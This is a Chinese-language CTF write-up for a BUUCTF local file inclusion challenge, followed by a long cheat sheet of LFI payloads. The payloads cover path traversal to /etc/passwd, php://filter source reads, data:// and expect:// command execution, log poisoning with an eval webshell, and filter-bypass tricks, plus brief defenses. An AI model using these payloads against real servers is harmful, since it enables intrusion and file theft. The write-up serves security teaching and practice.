BUUCTF——Basic——BUU LFI COURSE 11

这是一道 ** 本地文件包含(LFI)** 的入门题,核心思路是利用 PHP 的文件包含漏洞读取服务器上的flag文件。


1. 访问靶机并分析代码

打开题目给出的链接:http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81

页面会显示一段 PHP 代码,大致逻辑是:

php

运行

复制代码
if (isset($_GET['file'])) {
    $file = $_GET['file'];
    include($file);
}
  • 代码接收GET参数file,并直接用include()函数包含该文件
  • 无任何过滤,存在典型的 LFI 漏洞

2. 构造 Payload 读取 flag

在 CTF 中,flag通常存放在服务器根目录/flag,我们直接构造 URL:

plaintext

复制代码
http://ae0c150c-f1dc-4478-b91d-31394a96e6cd.node5.buuoj.cn:81/?file=/flag

访问后页面会直接显示flag内容,复制提交即可。

如果/flag路径不生效,也可以尝试路径穿越:

plaintext

复制代码
?file=../../../../flag

../向上跳转目录,最终定位到根目录的flag文件。


3. 提交 Flag

将页面显示的flag(格式通常为flag{...})复制到题目下方的输入框,点击提交即可完成解题。✅


💡 原理总结

这道题的核心是无过滤的文件包含

  • 攻击者可控file参数,直接指定服务器上的任意文件路径
  • PHP 的include()会读取并执行(如果是 PHP)或展示(如果是文本)目标文件内容
  • 本题只需读取文本形式的flag,无需代码执行

📝 LFI 漏洞常见 Payload 清单

一、基础文件读取(无过滤场景)

1. 直接读取绝对路径

plaintext

复制代码
?file=/etc/passwd          # Linux 系统用户信息
?file=/flag                # CTF 常见 flag 位置
?file=/var/log/apache2/access.log  # Apache 访问日志
?file=C:\Windows\System32\drivers\etc\hosts  # Windows hosts 文件

2. 相对路径穿越(绕过简单过滤)

plaintext

复制代码
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd  # 绕过 ../ 过滤
?file=..././..././etc/passwd        # 绕过 ../ 过滤

二、PHP 协议利用(进阶利用)

1. php://filter 读取源码(关键!)

用于读取 PHP 等脚本文件的源码,避免被直接执行:

plaintext

复制代码
?file=php://filter/convert.base64-encode/resource=index.php
?file=php://filter/read=convert.base64-encode/resource=config.php

得到 Base64 后解码即可看到源码。

2. data:// 执行代码(需要 allow_url_include=On

plaintext

复制代码
?file=data://text/plain,<?php system('id');?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKGlkKTs/Pg==

3. expect:// 执行系统命令(需要安装 expect 扩展)

plaintext

复制代码
?file=expect://id
?file=expect://ls /

4. phar:// 反序列化利用(配合反序列化漏洞)

plaintext

复制代码
?file=phar://shell.phar/shell.txt

三、日志包含 Getshell(经典 getshell 方式)

1. Apache 日志包含

  1. 先在 User-Agent 中写入一句话木马: plaintext

    复制代码
    <?php eval($_GET['cmd']);?>
  2. 访问日志文件: plaintext

    复制代码
    ?file=/var/log/apache2/access.log
    ?file=/var/log/httpd/access.log
  3. 访问 ?cmd=id 执行命令。

2. Nginx 日志包含

plaintext

复制代码
?file=/var/log/nginx/access.log
?file=/var/log/nginx/error.log

3. SSH 日志包含

plaintext

复制代码
?file=/var/log/auth.log
?file=/var/log/secure

先通过 SSH 连接时写入恶意代码到日志,再包含执行。


四、绕过技巧

1. 绕过路径限制

  • 双写绕过:....// → 解析为 ../
  • 编码绕过:%2e%2e%2f../
  • 空字节截断(PHP < 5.3.4):?file=/flag%00

2. 绕过后缀限制

  • 点号截断:?file=/flag............
  • 路径长度截断:?file=/../../../../../../../../../../../../flag
  • 协议绕过:用 php://filter 等协议直接读取。

五、CTF 场景高频 Payload

表格

场景 Payload
读 flag ?file=/flag
读源码 ?file=php://filter/convert.base64-encode/resource=index.php
日志 getshell ?file=/var/log/apache2/access.log
Windows 读 hosts ?file=C:\Windows\System32\drivers\etc\hosts

六、防御建议

  • 固定文件路径白名单,不允许用户直接控制文件路径
  • 过滤 ../php:// 等危险字符
  • 关闭 allow_url_include 和不必要的 PHP 协议
  • 使用 open_basedir 限制 PHP 可访问的目录
相关推荐
纽格立科技19 分钟前
安全播出之外的第二条腿——两座老发射台的现场
安全
HackTwoHub1 小时前
Linux 内核史诗级本地提权 全网深度复现、原理完整分析( CVE-2026-31431)
linux·运维·安全·web安全·网络安全·代码审计·安全架构
雪碧聊技术2 小时前
在项目中引入JWT令牌
安全
一拳一个娘娘腔3 小时前
红队与蓝队视角:现代网络安全攻防中的Linux命令深度解析
linux·安全
X7x54 小时前
筑牢网络安全防线:Web应用防火墙(WAF)全面解析
web安全·网络安全·安全架构·waf
书源丶5 小时前
三十五、Java 泛型——类型安全的「万能模板」
java·开发语言·安全
Chengbei117 小时前
AI大模型网关存在SQL注入、影响版本LiteLLM 1.81.16~1.83.7(CVE-2026-42208)
数据库·人工智能·sql·安全·web安全·网络安全·系统安全
一拳一个娘娘腔7 小时前
告别图形化界面:基于CLI的Windows系统入侵排查与防御实战手册
windows·安全
hwscom8 小时前
Linux服务器如何进行安全加固,防止黑客攻击(Windows也适用)
linux·服务器·安全
liann1199 小时前
3.4_Linux 应急响应排查速查命令表
linux·运维·服务器·安全·网络安全·系统安全